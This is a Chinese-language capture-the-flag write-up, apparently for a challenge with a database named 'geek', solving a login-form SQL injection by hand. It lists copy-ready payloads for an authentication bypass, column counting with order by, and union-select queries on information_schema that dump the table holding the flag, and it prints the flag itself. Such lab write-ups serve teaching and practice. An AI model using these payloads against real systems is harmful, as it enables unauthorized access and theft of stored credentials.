这是一道无过滤单引号字符型 SQL 注入 ,核心用联合查询脱库拿 flag,全程手工可通,无需工具。
一、核心解题思路
- 登录框→优先测 SQL 注入,用单引号判断字符型注入
- 万能密码绕过登录,确认注入可用
order by判断查询字段数- 联合查询查库→查表→查字段→查数据
- 目标表
l0ve1ysq1的password字段存 flag
二、完整操作步骤(直接复制 Payload)
1. 判断注入点(单引号字符型)
- 用户名:
admin' - 密码:
123 - 现象:报SQL 语法错误 ,确认是单引号闭合的字符型注入

2. 万能密码登录绕过
- 用户名:' or 1=1 #
- 密码:
123 - 结果:
Login Success! Hello admin!,登录成功

3. 判断字段数(order by)
依次试:
a' order by 1 -- aa' order by 2 -- aa' order by 3 -- aa' order by 4 -- a- 到 4 时报错:
Unknown column '4'→字段数 = 3 
4. 查当前数据库
- 用户名:
a' union select 1,database(),3 -- a - 密码:
111 - 得到:geek

5. 查数据库里的表
-
用户名:
a' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 -- a
-
得到表:geekuser、l0ve1ysq1(flag 在 l0ve1ysq1)

6. 查 l0ve1ysq1 表的字段
-
用户名:
a' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'),3 -- a
-
得到字段:id、username、password

7. 查 password 字段拿 flag
-
用户名:
a' union select 1,(select group_concat(password) from l0ve1ysq1),3 -- a
-
页面 / 源码中得到:flag{a8c4dfbe30b89a18346f305e2152b702}

三、关键原理(为什么这么做)
- 单引号闭合 :原语句类似
select * from user where username='$name'输入a' or true -- a→变成:select * from user where username='a' or true -- a'条件恒真,登录绕过 - 联合查询 :
union select拼接查询,用2、3位回显数据 - information_schema:MySQL 系统库,存所有库、表、字段信息
- group_concat:把多行结果拼成一行,方便页面显示
